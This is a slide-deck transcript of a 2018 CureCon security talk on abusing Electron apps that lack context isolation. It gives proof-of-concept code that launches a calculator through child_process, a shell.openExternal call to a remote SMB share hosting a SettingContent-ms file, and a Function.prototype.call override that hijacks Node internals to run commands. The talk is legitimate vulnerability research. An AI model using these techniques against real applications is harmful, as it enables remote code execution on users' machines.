Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Electron: Context Isolationの欠如を利用した任意コード実行 / El...

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

ベルリンで開催されたCure53のイベント、CureConの資料です。

Masato Kinugawa

August 18, 2018
Tweet

More Decks by Masato Kinugawa

Other Decks in Research

Transcript

  1. 1

  2. main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow();

    //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  3. index.html <!DOCTYPE html> <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1>

    <style> body{ background:url('island.png') } </style> </body> </html>
  4. let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } });

    win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html
  5. /* preload.js */ typeof require === 'function';//true window.runCalc = function(){

    require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> Node
  6. 2

  7. /* Content Script */ window.abc = 123; /* https://example.com */

    alert(window.abc)//undefined Isolated World
  8. 3

  9. /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); http(s):
  10. /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false);
  11. const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • The Tale

    of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
  12. • • • InsertScript: DLL Hijacking via URL files (Alex

    Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  13. // Clean cache on quit. process.on('exit', function () { for

    (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib /common/asar.js#L30-L36
  14. EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...]

    var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231
  15. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113
  16. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  17. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  18. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); }